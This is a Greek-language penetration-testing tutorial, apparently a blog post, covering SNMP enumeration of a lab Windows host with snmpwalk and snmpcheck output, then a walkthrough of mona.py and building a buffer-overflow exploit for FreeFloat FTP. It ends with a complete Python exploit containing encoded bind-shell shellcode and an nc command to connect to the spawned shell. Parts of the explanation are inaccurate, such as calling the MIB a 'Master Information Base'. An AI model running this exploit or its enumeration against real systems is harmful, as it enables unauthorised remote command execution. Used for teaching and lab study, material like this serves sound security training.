SNMP- Ένα χρήσιμο πρωτόκολλο που λίγοι pentesters χρησιμοποιούν
Πολλοί δυστυχώς δεν γνωρίζουν την χρησιμότητα του Simple Network Management Protocol(SNMP), το οποίο μπορεί να αποδειχτεί θησαυρός στην συγκομιδή πληροφοριών. Εφόσον μπορεί να κατανοηθεί το πως λειτουργεί μπορεί και να παραβιαστεί.
Το SNMP τρέχει στο UDP στην 161 θύρα και ενεργοποιεί έναν network admin για να μαζέψει πληροφορίες και να διαχειριστεί τις διαδικτυακές συσκευές. Κάθε τέτοια συσκευή ανταποκρίνεται με πληροφορίες σχετικά με το πότε έγινε, το μοντέλο της κλπ.
Όλη αυτή η πληροφόρηση πηγαίνει στην ΜΙΒ(Master Information Base) στην οποία εάν έχουμε πρόσβαση μπορούμε να ξέρουμε ακριβώς κάθε συσκευή στο διαδίκτυο. Εάν μπορούμε να σπάσουμε τον κωδικό του SNMP, μπορούμε να έχουμε υπό τον έλεγχο μας κάθε network device.
Yπάρχουν τουλάχιστον τρείς τύποι του SNMP:
O πρώτος, SNMPv1, δεν ήταν ασφαλής, ο SNMPv2 δημιουργήθηκε για να είναι πιο ασφαλής αλλά δεν ήταν συμβατός με το v1.Ο SNMPv3 είναι ασφαλής και συμβατός.
Ας δούμε μερικά παραδείγματα που θα μας βοηθήσουν να καταλάβουμε την χρήση του SNMP, απλά γράφοντας τα παρακάτω στο Κali Linux:
Καταμέτρηση των windows χρηστών:
IH # snmpwalk -c public -v1 192.168.0.110 1.3 |grep 77.1.2.25 |cut -d" " -f4
"Guest"
"Administrator"
"IUSR_WIN2KSP4"
"IWAM_WIN2KSP4"
"TsInternetUser"
"NetShowServices"
IH #
Καταμέτρηση υπηρεσιών που τρέχουν:
IH # snmpwalk -c public -v1 192.168.0.110 1 |grep hrSWRunName|cut -d" " -f4
"System
"System"
"smss.exe"
"csrss.exe"
"winlogon.exe"
"cmd.exe"
"services.exe"
"lsass.exe"
"svchost.exe"
"SPOOLSV.EXE
"VMwareTray.exe"
"msdtc.exe"
"explorer.exe"
"svchost.exe"
"llssrv.exe"
"NSPMON.exe"
"NSCM.exe"
"regsvc.exe"
"mstask.exe"
"snmp.exe"
"VMwareService.e"
"svchost.exe"
"inetinfo.exe"
"nspm.exe"
"NSUM.exe"
"wuauclt.exe"
"VMwareUser.exe"
"dfssvc.exe"
IH snmpenum #
Καταμέτρηση ανοικτών TCP θυρών:
IH# snmpwalk -c public -v1 192.168.0.110 1 |grep tcpConnState |cut -d"." -f6 |
sort -nu
21
25
80
119
135
139
443
445
563
1025
1026
1027
1045
1755
3372
6666
7007
7778
8328
Καταμέτρηση εγκατεστημένου λογισμικού:
IH snmpenum # snmpwalk -c public -v1 192.168.0.110 1 |grep hrSWInstalledName
HOST-RESOURCES-MIB::hrSWInstalledName.1 = STRING: "WebFldrs"
HOST-RESOURCES-MIB::hrSWInstalledName.2 = STRING: "VMware Tools"
IH snmpenum #
Υπάρχουν πολλά εργαλεία που μπορεί να χρησιμοποιήσει κανείς όπως το snmpcheck.pl το οποίο μπορούμε να το βρούμε στο /pentest/enumeration/snmpenum και μπορεί να χρησιμοποιηθεί όπως το παρακάτω παράδειγμα:
IH snmpenum # ./snmpcheck-1.3.pl -t 192.168.0.110
snmpcheck.pl v1.3 - snmp enumerator
Copyright (c) 2005,2006 by nothink.org
Hostname : DC
Ip address : 192.168.0.110
Hardware : x86 Family 15 Model 4 Stepping 8 AT/AT COMPATIBLE - Software
Software : Windows 2000 Version 5.0 (Build 2195 Uniprocessor Free)
Primary Domain : WORKGROUP
System Uptime : 4 hours, 45:37.84
Hardware
-------------------------------------------------------------------------
Total Memory : 261616 KB
A:\
Device Type : Removable Disk
Partition Type : UNKNOWN
C:\ Label: Serial Number a0eb9535
Device Type : Fixed Disk
Partition Type : NTFS
D:\
Device Type : Compact Disc
Partition Type : UNKNOWN
User accounts
-------------------------------------------------------------------------
Administrator
IUSR_WIN2KSP4
IWAM_WIN2KSP4
TsInternetUser
NetShowServices
Guest
Processes
-------------------------------------------------------------------------
Process id Process name
1 System Idle Process
1024 NSUM.exe
1032 wuauclt.exe
1440 VMwareUser.exe
1468 dfssvc.exe
160 smss.exe
184 csrss.exe
204 winlogon.exe
216 cmd.exe
232 services.exe
244 lsass.exe
436 svchost.exe
468 SPOOLSV.EXE
480 VMwareTray.exe
496 msdtc.exe
560 explorer.exe
608 svchost.exe
644 llssrv.exe
708 NSPMON.exe
720 NSCM.exe
8 System
800 regsvc.exe
828 mstask.exe
900 snmp.exe
932 VMwareService.e
968 svchost.exe
984 inetinfo.exe
Network services
-------------------------------------------------------------------------
DNS Client
DHCP Client
Workstation
SNMP Service
Plug and Play
Print Spooler
RunAs Service
Task Scheduler
Computer Browser
Automatic Updates
COM+ Event System
IIS Admin Service
Protected Storage
Removable Storage
IPSEC Policy Agent
Network Connections
Logical Disk Manager
VMware Tools Service
FTP Publishing Service
Distributed File System
License Logging Service
Remote Registry Service
Security Accounts Manager
System Event Notification
Remote Procedure Call (RPC)
TCP/IP NetBIOS Helper Service
Windows Media Monitor Service
Windows Media Program Service
Windows Media Station Service
Windows Media Unicast Service
NT LM Security Support Provider
Distributed Link Tracking Client
World Wide Web Publishing Service
Distributed Transaction Coordinator
Simple Mail Transport Protocol (SMTP)
Network News Transport Protocol (NNTP)
Windows Management Instrumentation Driver Extensions
Server
Alerter
Event Log
Messenger
Network interfaces
-------------------------------------------------------------------------
IP Forwarding Enabled : no
Interface : [ up ] MS TCP Loopback interface
Hardware Address :
Interface Speed : 10 Mbps
IP Address : 127.0.0.1
Netmask : 255.0.0.0
Bytes In : 429
Bytes Out : 429
Routing information
-------------------------------------------------------------------------
Destination Next Hop Mask Metric
127.0.0.0 127.0.0.1 255.0.0.0 1
192.168.0.0 192.168.0.110 255.255.255.0 1
192.168.0.110 127.0.0.1 255.255.255.255 1
192.168.0.255 192.168.0.110 255.255.255.255 1
224.0.0.0 192.168.0.110 224.0.0.0 1
TCP connections
-------------------------------------------------------------------------
Local Address Port Remote Address Port
0.0.0.0 1025 0.0.0.0 59525
0.0.0.0 1026 0.0.0.0 18494
0.0.0.0 1027 0.0.0.0 26644
0.0.0.0 119 0.0.0.0 2240
0.0.0.0 135 0.0.0.0 2176
0.0.0.0 1755 0.0.0.0 59428
0.0.0.0 21 0.0.0.0 51229
0.0.0.0 25 0.0.0.0 35068
0.0.0.0 3372 0.0.0.0 10437
0.0.0.0 443 0.0.0.0 43064
0.0.0.0 445 0.0.0.0 26698
0.0.0.0 563 0.0.0.0 2128
0.0.0.0 6666 0.0.0.0 43131
0.0.0.0 7007 0.0.0.0 51204
0.0.0.0 7778 0.0.0.0 18667
0.0.0.0 80 0.0.0.0 26797
0.0.0.0 8328 0.0.0.0 2208
192.168.0.110 1046 192.168.0.1 139
Software components
-------------------------------------------------------------------------
WebFldrs
IIS
-------------------------------------------------------------------------
totalBytesSentLowWord : 0
totalBytesReceivedLowWord : 0
totalFilesSent : 0
currentAnonymousUsers : 0
currentNonAnonymousUsers : 0
totalAnonymousUsers : 0
totalNonAnonymousUsers : 0
maxAnonymousUsers : 0
maxNonAnonymousUsers : 0
currentConnections : 0
maxConnections : 0
connectionAttempts : 0
logonAttempts : 0
totalGets : 0
totalPosts : 0
totalHeads : 0
totalOthers : 0
totalCGIRequests : 0
totalBGIRequests : 0
totalNotFoundErrors : 0
107
ΠΑΡΟΥΣΙΑΣΗ ΤΟΥ ΜΟΝΑ.PY
Η Μona είναι απόγονος του !ipvefindaddr και έχει ακόμα περισσότερες λειτουργίες, οι οποίες διευκολύνουν την διαδικασία του exploit development.
Βασική Χρήση
Άνοιξε τον Immunity Debugger και πάτα !mona(στην γραμμή εντολών στο κάτω μέρος) και μετα πάτα ALT+L και θα πάρεις μια γεμάτη σελίδα με πληροφορίες για την mona.
Επίσης εάν θέλεις πληροφορίες για την εντολή "assemble" πληκτρολογείς: !mona help assemble και έχεις ότι πληροφορία θα ήθελες για την εντολή αυτή.
Ρυθμίζοντας το περιβάλλον εργασίας σου
Η Μόνα σου επιτρέπει να αποθηκεύσεις το αποτέλεσμα σε συγκεκριμένο φάκελο. Για να ενεργοποιήσεις αυτή την λειτουργία, θα χρειαστείς να πληκτρολογήσεις:
!mona config -set workingfolder c:\logs\%p
Παρακάτω θα δούμε μερικές από τις πιο σημαντικές εντολές της Mona:
findmsp
Η εντολή findmsp θα βρει όλα τα παραδείγματα ή τις σχετικές αναφορές σ' ένα κυκλικό πρότυπο σε μνήμη, μητρώα, κλπ
Αυτή η εντολή έχει μια σημαντική προϋπόθεση: Πρέπει να χρησιμοποιείς κυκλικό πρότυπο για να πυροδοτήσεις το σπάσιμο στην εφαρμογή.
Όταν γίνει στο σπάσιμο, απλά τρέξε το findmsp και θα λάβεις τις σχετικές πληροφορίες:
Τόποι που μπορούμε να βρούμε αυτά τα κυκλικά πρότυπα και πόσο μεγάλα είναι
Επεξεργαστές που έχουν γραφτεί με 4 Bytes του προτύπου και το offset για να ξαναγραφεί το μητρώο.
Δείκτες, SEH,μέρη του κυκλικού προτύπου στο stack κλπ
Σε όλες τις περιπτώσεις findmsp θα ψάξει για έναν φυσιολογικό pattern,uppercase, lowercase κλπ.
jmp
Αυτή η εντολή θα ψάξει για δείκτες που θα οδηγήσουν στην εκτέλεση του κώδικα .
pattern_create
Αυτή η εντολή θα παράγει ένα πρότυπο(metasploit pattern) συγκεκριμένου μεγέθους και θα το γράψει στο patern.txt
skeleton
Aυτή η εντολή σου επιτρέπει να δημιουργήσεις "έναν" άδειο σκελετό metasploit module για έναν συγκεκριμένο τύπο exploit(fileformat,tcp, udp) χρησιμοποιώντας ένα πρότυπο για payload. Αν προσπαθείς να δημιουργήσεις ένα exploit από την αρχή αυτό είναι ένα καλό ξεκίνημα.Το αποτέλεσμα θα γράφεται στο msfskeleton.rb
STANDALONE EXPLOITS SUCKS!
To να κάνεις ένα exploit γραμμένο σε python έχει πολλά μειονεκτήματα και ακόμα περισσότερες δυσλειτουργίες από ένα exploit γραμμένο σε ruby, το οποίο κινείται στο framework του metasploit.
Αν φτιάξεις όμως exploits για το metasploit έχει οφέλη από άποψη:1) χρόνου, 2)ασύγκριτα payloads,3) exploits γραμμένα σε μια παγκόσμια γλώσσα σε ένα framework(metasploit),4)βοηθάς την κοινότητα να αναπτυχθεί και φυσικά...ΜΕΤΕRPRETER!(Ένα απίστευτο εργαλείο το οποίο θα έχει την τιμητική του σε επόμενα άρθρα)
Η Corelan Team γι'αυτόν τον σκοπό δημιούργησε το mona.py το οποίο έχει python εντολές για το Immunity Debugger και είναι Metasploit Friendly.
Το να αποκτήσουμε την αγαπημένη μας Μόνα έχουμε να κάνουμε τα εξής:
1)Κατεβάζουμε τον Immunity Debugger
2)Κατεβάζουμε την mona.py και την αποθηκεύουμε στον φάκελο PyCommands, ο οποίος είναι μέσα στους φακέλους, του Immunity Debugger.
3)Ανοίγουμε τον Immunity Debugger και πατάμε στην γραμμή εντολών στο κάτω μέρος !mona.
4)Τρέχουμε !mona update για να σιγουρευτούμε ότι τρέχουμε την σωστή έκδοση.
Πρίν να τρέξουμε την Μόνα θα πρέπει να σιγουρέψουμε ότι το αποτέλεσμα των εργασιών είναι γραμμένο και ταξινομημένο σε έναν υποφάκελο ο οποίος θα έχει το όνομα των εργασιών μας, χωρίς να πρέπει να ανησυχούμε εάν ξαναγράψαμε προηγούμενο output. Οπότε πληκτρολογούμε:
!mona config -set workingfolder c:\logs\%p
(To % θα αντικατασταθεί από το όνομα της διαδικασίας.Μπορείς επίσης να χρησιμοποιήσεις %i το οποίο θα αντικατασταθεί με την ταυτότητα της διαδικασίας)
Σ αυτό το άρθρο θα εισάγω έναν αριθμό από εντολές οι οποίες υπάρχουν στην mona.py, με σκοπό να γράψουμε exploit για το Metasploit.
POC φάκελος σε Metasploit module
Σ΄ένα τυπικό exploit ξεκινάμε συνήθως με το να θέτουμε σε ενέργεια μια ευπάθεια του προγράμματος. Θα χρησιμοποιήσουμε ένα υπάρχον POC για να δείξουμε πως λειτουργεί η Mona.py μ'αυτό.Κατεβάζουμε τον zip φάκελο από http://www.exploit-db.com/exploits/15248/.Ο φάκελος περιέχει μερικούς άλλους φακέλους.Θα βασίσουμε το παράδειγμα μας στο poc που πραγματοποιεί ένα Integer Overflow στο in_mkv.Kάντε extract τον φάκελο και τοποθετήστε τον στο c:\poc.
Aνοίγοντας τον φάκελο winamp_1a_1.mkv πραγματοποιείται διακοπή λειτουργίας στο μολυσμένο Winamp.
Aντί να προσπαθούμε να αναπαράγουμε τον φάκελο αυτό σε Python Script, θα χρησιμοποιήσουμε την Mona.py για να μετατρέψουμε τον φάκελο αυτό σε Metasploit module ευθύς αμέσως. Για να το κάνουμε αυτό θα πούμε στην mona.py να διαβάσει τον φάκελο mkv και να τον μετατρέψει σε ruby statements.Oπότε πληκτρολογούμε:
!mona header -f "c:\poc\winamp_1a_1.mkv"
Aυτή η εντολή θα διαβάσει όλα τα bytes απο τον φάκελο και θα δημιουργήσει κάποια ruby statements. Σ'αυτήν την περίπτωση το αποτέλεσμα θα είναι γραμμένο ως header.text στο c:\logs\_no_name και θα είναι κάπως έτσι:
header = "\x1a"
header << "E"
header << "\xdf\xa3\x09"
header << "\xff" * 4
header << "B"
header << "\x82\x08"
header << "\xff" * 4
header << "a" * 16344
Γράφοντας ένα exploit για ένα απλό σενάριο overwrite
Σ' αυτό το exploit θα ξεκινήσουμε με το πιο απλό και ευθύ σενάριο στο οποίο έχουμε μια καθαρή επανεγγραφή της EIP κ ένα από τα μητρώα της CPU θα δείχνουν κατευθείαν σ'εναν μεγάλο χώρο του Buffer μας. Θα δημιουργήσουμε ένα exploit από την αρχή για το FreeFloat FTP. Mπορείτε να βρείτε πολλά exploits που έχουν γραφεί γι' αυτό το πρόγραμμα εδώ.
Κανονικά γίνεται ανάλυση για τους λεγόμενους bad characters αλλά σ'αυτό το tutorial θα βασιστούμε στους badharacters που είναι καταγεγραμμένοι στο ήδη υπάρχον exploit. Οι χαρακτήρες είναι ”\x00\x0A\x0D”. Κρατάμε τους χαρακτήρες για αργότερα.
Exploit Development: Backtrack 5
Debugging Machine: Windows XP PRO SP3
Vulnerable Software: Download
Exploit Development: Backtrack 5
Debugging Machine: Windows XP PRO SP3
Vulnerable Software: Download
Πρώτα απ'όλα χρειάζεται να δημιουργήσουμε έναν POC(Proof Of Concept) σκελετό του exploit για να κρασάρουμε τον FTP σέρβερ.
#!/usr/bin/python
import socket
import sys
evil = "A"*1000
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.111.128',21))
s.recv(1024)
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASS anonymous\r\n')
s.recv(1024)
s.send('MKD ' + evil + '\r\n')
s.recv(1024)
s.send('QUIT\r\n')
s.close
Οπότε όταν ανοίξουμε το πρόγραμμα μας(FTP server) και στείλουμε το POC buffer το πρόγραμμα σταματάει. Θα μπορέσουμε να δούμε ότι η ΕΙΡ είναι γραμμένη και οτι δύο registers(ESP και EDI) περιέχουν μέρος του buffer μας. Αφού αναλύσουμε τα registers dumps η ESP δείχνει πιο υποσχώμενη απο την στιγμή που περιέχει μεγαλύτερο κομμάτι του buffer μας.
Ξαναγράφοντας την ΕΙΡ
Τώρα χρειάζεται να αναλύσουμε την κατάσταση ώστε να αντικαταστήσουμε τα Α με τον metasploit pattern και να ξαναστείλουμε τον buffer μας. Να δοθεί μεγάλη προσοχή ώστε να κρατηθεί το αυθεντικό μέγεθος του buffer καθώς μια αλλαγή μπορεί να αλλάξει την συμπεριφορά του προγράμματος.
root@bt:~/Desktop# cd /pentest/exploits/framework/tools/
root@bt:/pentest/exploits/framework/tools# ./pattern_create.rb 1000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4A
d5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah
0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5
Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0A
o1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar
6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1
Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6A
y7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc
2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7
Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B
Όταν το πρόγραμμα κρασάρει ξανά βλέπουμε το ίδιο ότι και πριν εκτός απο το οτι η ΕΙΡ και οι άλλοι δυο registers που είδαμε πιο πάνω έχουν ξαναγραφεί με κομμάτι του metasploit pattern.Tώρα ήρθε καιρός να αφήσουμε την "mona" να κάνει την δουλειά της στον Immunity Debugger.
!mona jmp -r esp
Όπως θα δείτε οι καταχωρητές ανήκουν σε dll's του του λειτουργικού συστήματος και μπορούμε να χρησιμοποιήσουμε και τον πρώτο καταχωρητή της λίστας.
Να έχετε στο μυαλό σας οτι θα χρειαστεί να αναποδογυρίσουμε την σειρά των Bytes λόγω του Little Indian.
Oπότε έχουμε αυτόν τον pointer απο το Immunity debbuger
Pointer: 0x77c35459 : push esp # ret | {PAGE_EXECUTE_READ} [msvcrt.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v7.0.2600.5701 (C:\WINDOWS\system32\msvcrt.dll)
και μετατρέπουμε τα Bytes του έτσι:
Buffer: evil = "A"*247 + "\x59\x54\xC3\x77" + "C"*749
Το τελικό στάδιο του POC θα είναι έτσι:
#!/usr/bin/python
import socket
import sys
#------------------------------------------------------------
# Badchars: \x00\x0A\x0D
# 0x77c35459 : push esp # ret | msvcrt.dll
#------------------------------------------------------------
evil = "A"*247 + "\x59\x54\xC3\x77" + "C"*749
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.111.128',21))
s.recv(1024)
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASS anonymous\r\n')
s.recv(1024)
s.send('MKD ' + evil + '\r\n')
s.recv(1024)
s.send('QUIT\r\n')
s.close
Ας ξαναξεκινήσουμε το πρόγραμμα στον debugger και θα δούμε οτι η ΕΙΡ έχει ξαναγραφεί με τον pointer μας και πατάμε το σημείο διακοπής(break point) που θα μας πάει στο Buffer μας που είναι στην ESP
Shellcode και τέλος παιχνιδιού
Είμαστε σχεδόν έτοιμοι.Χρειαζόμαστε(1) να μετατρέψουμε το POC και να προσθέσουμε μια μεταβλητή για τον shellcode μας (2) και να προσθέσουμε έναν Payload για να μας συνδέει.
Θα προσθέσουμε το payload στο κομμάτι του Buffer που έχει τα C.Ιδανικά θα θέλαμε να τροποποιείται το μέγεθος του buffer δυναμικά ώστε να μην χρειάζεται να αλλάζουμε το μέγεθος του Payload και πρέπει να προσθέσουμε μερικά ΝΟΡ(No operation perfomed= \x90) πριν εκτελεσθεί το payload.
#!/usr/bin/python
import socket
import sys
shellcode = (
)
#------------------------------------------------------------
# Badchars: \x00\x0A\x0D
# 0x77c35459 : push esp # ret | msvcrt.dll
#------------------------------------------------------------
buffer = "\x90"*20 + shellcode
evil = "A"*247 + "\x59\x54\xC3\x77" + buffer + "C"*(749-len(buffer))
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.111.128',21))
s.recv(1024)
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASS anonymous\r\n')
s.recv(1024)
s.send('MKD ' + evil + '\r\n')
s.recv(1024)
s.send('QUIT\r\n')
s.close
Το μόνο που μένει είναι να τοποθετήσουμε τον shellcode. Θα χρησιμοποιήσουμε msfpayload για να δημιουργήσει τον shellcode μας και αργότερα το msfencode για να φιλτράρει τους badcharacters.
root@bt:~# msfpayload -l
[...snip...]
windows/shell/reverse_tcp_dns Connect back to the attacker, Spawn a piped command shell (staged)
windows/shell_bind_tcp Listen for a connection and spawn a command shell
windows/shell_bind_tcp_xpfw Disable the Windows ICF, then listen for a connection and spawn a
command shell
[...snip...]
root@bt:~# msfpayload windows/shell_bind_tcp O
Name: Windows Command Shell, Bind TCP Inline
Module: payload/windows/shell_bind_tcp
Version: 8642
Platform: Windows
Arch: x86
Needs Admin: No
Total size: 341
Rank: Normal
Provided by:
vlad902 <vlad902@gmail.com>
sf <stephen_fewer@harmonysecurity.com>
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique: seh, thread, process, none
LPORT 4444 yes The listen port
RHOST no The target address
Description:
Listen for a connection and spawn a command shell
root@bt:~# msfpayload windows/shell_bind_tcp LPORT=9988 R| msfencode -b '\x00\x0A\x0D' -t c
[*] x86/shikata_ga_nai succeeded with size 368 (iteration=1)
unsigned char buf[] =
"\xdb\xd0\xbb\x36\xcc\x70\x15\xd9\x74\x24\xf4\x5a\x33\xc9\xb1"
"\x56\x83\xc2\x04\x31\x5a\x14\x03\x5a\x22\x2e\x85\xe9\xa2\x27"
"\x66\x12\x32\x58\xee\xf7\x03\x4a\x94\x7c\x31\x5a\xde\xd1\xb9"
"\x11\xb2\xc1\x4a\x57\x1b\xe5\xfb\xd2\x7d\xc8\xfc\xd2\x41\x86"
"\x3e\x74\x3e\xd5\x12\x56\x7f\x16\x67\x97\xb8\x4b\x87\xc5\x11"
"\x07\x35\xfa\x16\x55\x85\xfb\xf8\xd1\xb5\x83\x7d\x25\x41\x3e"
"\x7f\x76\xf9\x35\x37\x6e\x72\x11\xe8\x8f\x57\x41\xd4\xc6\xdc"
"\xb2\xae\xd8\x34\x8b\x4f\xeb\x78\x40\x6e\xc3\x75\x98\xb6\xe4"
"\x65\xef\xcc\x16\x18\xe8\x16\x64\xc6\x7d\x8b\xce\x8d\x26\x6f"
"\xee\x42\xb0\xe4\xfc\x2f\xb6\xa3\xe0\xae\x1b\xd8\x1d\x3b\x9a"
"\x0f\x94\x7f\xb9\x8b\xfc\x24\xa0\x8a\x58\x8b\xdd\xcd\x05\x74"
"\x78\x85\xa4\x61\xfa\xc4\xa0\x46\x31\xf7\x30\xc0\x42\x84\x02"
"\x4f\xf9\x02\x2f\x18\x27\xd4\x50\x33\x9f\x4a\xaf\xbb\xe0\x43"
"\x74\xef\xb0\xfb\x5d\x8f\x5a\xfc\x62\x5a\xcc\xac\xcc\x34\xad"
"\x1c\xad\xe4\x45\x77\x22\xdb\x76\x78\xe8\x6a\xb1\xb6\xc8\x3f"
"\x56\xbb\xee\x98\xa2\x32\x08\x8c\xba\x12\x82\x38\x79\x41\x1b"
"\xdf\x82\xa3\x37\x48\x15\xfb\x51\x4e\x1a\xfc\x77\xfd\xb7\x54"
"\x10\x75\xd4\x60\x01\x8a\xf1\xc0\x48\xb3\x92\x9b\x24\x76\x02"
"\x9b\x6c\xe0\xa7\x0e\xeb\xf0\xae\x32\xa4\xa7\xe7\x85\xbd\x2d"
"\x1a\xbf\x17\x53\xe7\x59\x5f\xd7\x3c\x9a\x5e\xd6\xb1\xa6\x44"
"\xc8\x0f\x26\xc1\xbc\xdf\x71\x9f\x6a\xa6\x2b\x51\xc4\x70\x87"
"\x3b\x80\x05\xeb\xfb\xd6\x09\x26\x8a\x36\xbb\x9f\xcb\x49\x74"
"\x48\xdc\x32\x68\xe8\x23\xe9\x28\x18\x6e\xb3\x19\xb1\x37\x26"
"\x18\xdc\xc7\x9d\x5f\xd9\x4b\x17\x20\x1e\x53\x52\x25\x5a\xd3"
"\x8f\x57\xf3\xb6\xaf\xc4\xf4\x92";
Το exploit μας είναι έτοιμο
#----------------------------------------------------------------------------------#
# Exploit: FreeFloat FTP (MKD BOF) #
# OS: WinXP PRO SP3 #
# Author: b33f (Ruben Boonen) #
# Software: http://www.freefloat.com/software/freefloatftpserver.zip #
#----------------------------------------------------------------------------------#
# This exploit was created for Part 2 of my Exploit Development tutorial series... #
# http://www.fuzzysecurity.com/tutorials/expDev/2.html #
#----------------------------------------------------------------------------------#
# root@bt:~/Desktop# nc -nv 192.168.111.128 9988 #
# (UNKNOWN) [192.168.111.128] 9988 (?) open #
# Microsoft Windows XP [Version 5.1.2600] #
# (C) Copyright 1985-2001 Microsoft Corp. #
# #
# C:\Documents and Settings\Administrator\Desktop> #
#----------------------------------------------------------------------------------#
import socket
import sys
#----------------------------------------------------------------------------------#
# msfpayload windows/shell_bind_tcp LPORT=9988 R| msfencode -b '\x00\x0A\x0D' -t c #
# [*] x86/shikata_ga_nai succeeded with size 368 (iteration=1) #
#----------------------------------------------------------------------------------#
shellcode = (
"\xdb\xd0\xbb\x36\xcc\x70\x15\xd9\x74\x24\xf4\x5a\x33\xc9\xb1"
"\x56\x83\xc2\x04\x31\x5a\x14\x03\x5a\x22\x2e\x85\xe9\xa2\x27"
"\x66\x12\x32\x58\xee\xf7\x03\x4a\x94\x7c\x31\x5a\xde\xd1\xb9"
"\x11\xb2\xc1\x4a\x57\x1b\xe5\xfb\xd2\x7d\xc8\xfc\xd2\x41\x86"
"\x3e\x74\x3e\xd5\x12\x56\x7f\x16\x67\x97\xb8\x4b\x87\xc5\x11"
"\x07\x35\xfa\x16\x55\x85\xfb\xf8\xd1\xb5\x83\x7d\x25\x41\x3e"
"\x7f\x76\xf9\x35\x37\x6e\x72\x11\xe8\x8f\x57\x41\xd4\xc6\xdc"
"\xb2\xae\xd8\x34\x8b\x4f\xeb\x78\x40\x6e\xc3\x75\x98\xb6\xe4"
"\x65\xef\xcc\x16\x18\xe8\x16\x64\xc6\x7d\x8b\xce\x8d\x26\x6f"
"\xee\x42\xb0\xe4\xfc\x2f\xb6\xa3\xe0\xae\x1b\xd8\x1d\x3b\x9a"
"\x0f\x94\x7f\xb9\x8b\xfc\x24\xa0\x8a\x58\x8b\xdd\xcd\x05\x74"
"\x78\x85\xa4\x61\xfa\xc4\xa0\x46\x31\xf7\x30\xc0\x42\x84\x02"
"\x4f\xf9\x02\x2f\x18\x27\xd4\x50\x33\x9f\x4a\xaf\xbb\xe0\x43"
"\x74\xef\xb0\xfb\x5d\x8f\x5a\xfc\x62\x5a\xcc\xac\xcc\x34\xad"
"\x1c\xad\xe4\x45\x77\x22\xdb\x76\x78\xe8\x6a\xb1\xb6\xc8\x3f"
"\x56\xbb\xee\x98\xa2\x32\x08\x8c\xba\x12\x82\x38\x79\x41\x1b"
"\xdf\x82\xa3\x37\x48\x15\xfb\x51\x4e\x1a\xfc\x77\xfd\xb7\x54"
"\x10\x75\xd4\x60\x01\x8a\xf1\xc0\x48\xb3\x92\x9b\x24\x76\x02"
"\x9b\x6c\xe0\xa7\x0e\xeb\xf0\xae\x32\xa4\xa7\xe7\x85\xbd\x2d"
"\x1a\xbf\x17\x53\xe7\x59\x5f\xd7\x3c\x9a\x5e\xd6\xb1\xa6\x44"
"\xc8\x0f\x26\xc1\xbc\xdf\x71\x9f\x6a\xa6\x2b\x51\xc4\x70\x87"
"\x3b\x80\x05\xeb\xfb\xd6\x09\x26\x8a\x36\xbb\x9f\xcb\x49\x74"
"\x48\xdc\x32\x68\xe8\x23\xe9\x28\x18\x6e\xb3\x19\xb1\x37\x26"
"\x18\xdc\xc7\x9d\x5f\xd9\x4b\x17\x20\x1e\x53\x52\x25\x5a\xd3"
"\x8f\x57\xf3\xb6\xaf\xc4\xf4\x92")
#----------------------------------------------------------------------------------#
# Badchars: \x00\x0A\x0D #
# 0x77c35459 : push esp # ret | msvcrt.dll #
# shellcode at ESP => space 749-bytes #
#----------------------------------------------------------------------------------#
buffer = "\x90"*20 + shellcode
evil = "A"*247 + "\x59\x54\xC3\x77" + buffer + "C"*(749-len(buffer))
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.111.128',21))
s.recv(1024)
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASS anonymous\r\n')
s.recv(1024)
s.send('MKD ' + evil + '\r\n')
s.recv(1024)
s.send('QUIT\r\n')
s.close
Στον terminal πατάμε τις εντολές ώστε να συνδεθούμε με το bind shell μας:
root@bt:~/Desktop# nc -nv 192.168.111.128 9988
(UNKNOWN) [192.168.111.128] 9988 (?) open
